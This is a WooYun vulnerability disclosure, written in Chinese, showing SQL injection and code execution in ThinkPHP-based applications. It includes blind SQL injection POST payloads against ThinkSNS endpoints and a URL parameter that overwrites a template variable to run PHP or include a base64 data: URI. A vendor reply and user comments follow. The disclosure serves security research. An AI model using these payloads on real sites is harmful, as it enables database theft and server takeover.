当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(91) 关注此漏洞

缺陷编号: WooYun-2014-88251

漏洞标题: 从ThinkPHP谈基于框架开发程序的安全性(从SQL注入到代码执行)

相关厂商: ThinkPHP

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-12-23 01:29

公开时间: 2015-04-02 10:23

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 php+数字类型注射 逻辑错误 安全意识不足 php源码审核 安全意识不足

14人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-23: 细节已通知厂商并且等待厂商处理中
2014-12-23: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-02-16: 细节向核心白帽子及相关领域专家公开
2015-02-26: 细节向普通白帽子公开
2015-03-08: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

从ThinkPHP谈基于框架开发程序的安全性,以ThinkPHP,ThinkSNS,大米CMS等最新版漏洞证明为例

详细说明:

从ThinkPHP谈基于框架开发程序的安全性,以ThinkPHP,ThinkSNS,大米CMS等为例



之前在看ThinkPHP开发手册的时候看到这个:

code 区域
字符串方式

字符串方式条件即以字符串的方式将条件作为 where() 方法的参数,例子:
$Dao = M("User");
$List = $Dao->where('uid<10 AND email="Jack@**.**.**.**"')->find();

实际执行的 SQL 为:
SELECT * FROM user WHERE uid<10 AND email="Jack@**.**.**.**" LIMIT 1

字符串方式设定的条件即为实际 SQL 执行的条件,也是最接近原生 SQL 的方式,ThinkPHP 不会对条件做任何(类型上的)检查。





这就是说当程序员使用GPC接受的值以字符串形式进入where中,此值是原生的字符换,不会进行任何检查和处理,即便是错误类型和恶意sql语句等,这样就导致sql注入的隐患存在了。



我们举个例子,拿最新版的ThinkPHP为例:



注意这里$role = $_POST['role'],直接将POST的值付给了变量role

然后变量以role拼接字符串的形式进入了where中:

code 区域
这样没有单引号保护
$row = M('user')->where('role='.$role)->find();
或者这样加上单引号保护
$row = M('user')->where("role='".$role."'")->find();



不懂安全的程序员任务,将role变量带入where中,ThinkPHP应该会自己处理,应该是安全的

但事实上,这样就导致了SQL注入,不管是否加了单引号

1.png



数据库执行记录:

2.png



恶意的sql语句内容成功进入了sql语句,没有进行任何检测处理。



可能大家觉的这样写很可笑,但是在实际应用和程序中,这样写的程序员很多

就算使用官方推荐的I方法进行数据的获取,同样存在问题。

code 区域
public function test(){
if (IS_POST) {
$role = I('post.role');
if (empty($role)) {
$this->error('角色不能为空');
}
$row = M('user')->where('role='.$role)->find();
//$row = M('user')->where("role='".$role."'")->find();
if (empty($row)) {
echo 0;
}else{
echo 1;
var_dump($row);
}
}
}



即使这样使用官方推荐的I方法还是存在同意的问题。

3.png





所以只要程序员在基于ThinkPHP开发应用程序时,过度相信框架本身的安全性而未自己做好安全检测处理时,会带来很多安全问题,而且都是大面积的。



比如最新版的ThinkSNS两处,当然不止这两处了:

第一处,文件:/apps/weiba/Lib/Action/IndexAction.class.php

code 区域
/**
* 删除帖子
* @return void
*/
public function postDel(){
$weibaid = D('weiba_post')->where('post_id='.intval($_POST['post_id']))->getField('weiba_id');
if ( !CheckWeibaPermission( '' , $weibaid , 'weiba_del') ){
if ( !CheckPermission('weiba_normal','weiba_del') ){
echo 0;return;
}
}
$post_id = $_POST['post_id'];
if(D('weiba_post')->where('post_id='.$post_id)->setField('is_del',1)){
$post_detail = D('weiba_post')->where('post_id='.$post_id)->find();



这里在删除帖子时,$post_id = $_POST['post_id']

然后$post_id拼接字符串形式进入where中,跟我们前面讲的问题一样,导致sql注入产生

发送如下请求即可进行盲注:

code 区域
url:http://localhost/thinksns/index.php?app=weiba&mod=Index&act=postDel

post_data:post_id=1 and if(mid(user(),1,1)=char(114),sleep(1*5),null)

referer:http://localhost/thinksns/index.php?app=weiba&mod=Index&act=postDel





第二处,文件:/apps/w3g/Lib/Action/IndexAction.class.php

code 区域
//获取最新微博数
function countnew(){
$map="weibo_id>{$_POST['nowMaxID']} AND isdel=0";
$map.=" AND ( uid IN (SELECT fid FROM ".C('DB_PREFIX')."weibo_follow WHERE uid=$this->uid) OR uid=$this->uid )";
$countnew = M('Weibo')->where($map)->count();
echo $countnew?$countnew:'0';
}



注意这里的:

$map="weibo_id>{$_POST['nowMaxID']} AND isdel=0";

其中$_POST['nowMaxID']直接拼接到字符串中,最后map进入了where进行查询,导致注入

发送如下请求即可进行盲注:

code 区域
url:http://localhost/thinksns/index.php?app=w3g&mod=Index&act=countnew

post_data:nowMaxID=1 and if(mid(user(),1,1)=char(114),sleep(1*5),null)%23

referer:http://localhost/thinksns/index.php?app=w3g&mod=Index&act=countnew





再比如最新版的大米CMS:

大米CMS之前的几处漏洞:

http://**.**.**.**/bugs/wooyun-2010-081510

http://**.**.**.**/bugs/wooyun-2010-081519

http://**.**.**.**/bugs/wooyun-2010-081842

还有最新提交的两处:

http://**.**.**.**/bugs/wooyun-2014-087947/trace/7880e3736bbf2c91c7c7e9dc17ec68a8

http://**.**.**.**/bugs/wooyun-2014-087989/trace/876654a7a2c8fc9bae225b34ab148a6e

都是因为通过GPC获取值,然后通过字符串直接进入了where中,导致的注入

具体就不在列举了。



再来谈谈ThinkPHP的模板解析导致的代码执行问题:

在ThinkPHP中模板变量的赋值通过assign函数进行,模板变量的解析通过display函数。

文件ThinkPHP\Library\Think\view.class.php:

code 区域
/**
* 模板变量赋值
* @access public
* @param mixed $name
* @param mixed $value
*/
public function assign($name,$value=''){
if(is_array($name)) {
$this->tVar = array_merge($this->tVar,$name);
}else {
$this->tVar[$name] = $value;
}
}



如果传入的是数组,那么直接将数组合并,然后载赋值到到tVar



code 区域
/**
* 加载模板和页面输出 可以返回输出内容
* @access public
* @param string $templateFile 模板文件名
* @param string $charset 模板输出字符集
* @param string $contentType 输出类型
* @param string $content 模板输出内容
* @param string $prefix 模板缓存前缀
* @return mixed
*/
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}



进入编译函数fetch:

code 区域
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}



当使用PHP原生模板时,会调用extract把tVar导入到变量表里,然后会检测$content变量是否存在,如果存在就使用eval执行,否则include $templateFile。

可以看到这里使用了extract函数,extract作用是从数组中把变量导入到当前的符号表中,而第二个参数表示如果有冲突,就覆盖已有变量。

因此此处如果$this->tVar可控的话,那么就可以覆盖掉$templateFile变量造成任意文件包含,或者覆盖$content造成任意代码执行。



所以当程序员把GPC接受的值传给assign,导致$this->tVar可控,这是就导致文件包含或者代码执行漏洞了,直接getshell。



举个例子:

code 区域
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function local_include(){
$var = $_GET;
$this->assign($var);
$this->display();
}
}



这里将$_GET赋值给$var,然后进入assign,最后导致漏洞产生:

code 区域
代码执行:
http://localhost/ThinkPHP_3.2.2_full/index.php/home/index/local_include?_content=%3C%3Fphp%20phpinfo%28%29%3B%3F%3E

文件包含:
http://localhost/ThinkPHP_3.2.2_full/index.php/home/index/local_include?templateFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D



4.png





这里最好的例子就是ThinkSNS了:

http://**.**.**.**/bugs/wooyun-2014-056641

http://**.**.**.**/bugs/wooyun-2014-081755

当然,按照这里的方法,可找到ThinkSNS不下10处这里的问题

直接getshell也是很轻松的。



=======================================================================

以上漏洞都是从最新版的ThinkPHP中分析得到

虽然说ThinkPHP现在做的很不错,用户量很大

所以很多新手,很多安全意识差的程序员就过于相信框架本身的安全性

在开发时就免去了自身的处理

再加上开发人员的低安全意识和大意,产生漏洞的几率就更大了



既然作为框架这样的基础型的东西,根基一样要打好,否则像上面这样的问题都是很严重的定时炸弹,总会有爆发的时候,杀伤力还是很大的。

漏洞证明:

sql注入

1.png





代码执行

4.png

修复方案:

I函数也不是万能的,要么说明为什么不处理,自行该如何处理,要么全部处理好。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

框架有推荐的安全防范机制 至于用不用完全看开发者了,就算是原生PHP开发,这个漏洞也有可能,从框架的层面来说,开发者可以用框架写出任何代码,包括好的代码和不安全的代码,框架只是工具,不是原罪!忽略该漏洞的用意,也正好告诉开发者引起重视,尽量按照官方推荐的方式进行安全开发。官方从来没说过字符串方式的条件可以防止SQL注入,而且手册中也特意给出了安全章节:http:///manual_3_#safety

漏洞Rank:10 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-12-23 01:33 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)
    4

    NB!

  2. 2014-12-23 01:44 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1358 漏洞数:142 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)
    1

    关注

  3. 2014-12-23 01:58 | phith0n 认证白帽子 ( 普通白帽子 | Rank:816 漏洞数:126 | 一个想当文人的黑客~)
    1

    打出这波浪潮。

  4. 2014-12-23 03:36 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:4696 漏洞数:358 | 你都有那么多超级棒棒糖了,还要自由干吗?)
    1

    流行大礼包

  5. 2014-12-23 08:21 | 泳少 ( 普通白帽子 | Rank:255 漏洞数:83 | ★ 梦想这条路踏上了,跪着也要...)
    2

    别这样好吗?来个分析的

  6. 2014-12-23 10:09 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2313 漏洞数:351 | 呵呵!)
    2

    好吧

  7. 2014-12-23 11:37 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | ☯☯☯☯☯☯☯☯☯☯)
    1

    强行先甩锅

  8. 2014-12-23 11:38 | 用来怀念 ( 路人 | Rank:0 漏洞数:1 | 不是什么人都一定要去拥有,有的东西最好用...)
    1

    厂商回复好霸气~~!

  9. 2014-12-23 12:48 | GrayTrack ( 实习白帽子 | Rank:88 漏洞数:19 | TXTSEC信息安全团队)
    2

    牛逼

  10. 2014-12-23 13:04 | Coner ( 路人 | Rank:3 漏洞数:1 )
    5

    赞一下厂商的恢复态度,

  11. 2014-12-25 04:01 | 马丁 ( 路人 | Rank:28 漏洞数:24 | 大爷~给口饭吧。)
    1

    霸气

  12. 2014-12-25 11:38 | 进击的zjx ( 普通白帽子 | Rank:1594 漏洞数:205 )
    2

  13. 2014-12-25 12:22 | secer ( 路人 | Rank:5 漏洞数:2 | 来乌云学习学习)
    2

    公开时间: 1970-01-01 08:33

  14. 2014-12-26 15:12 | wooshal ( 路人 | Rank:2 漏洞数:2 | 新手,非黑客,学习中)
    1

    除非有安全团队,一般人员很难避免

登录后才能发表评论,请先 登录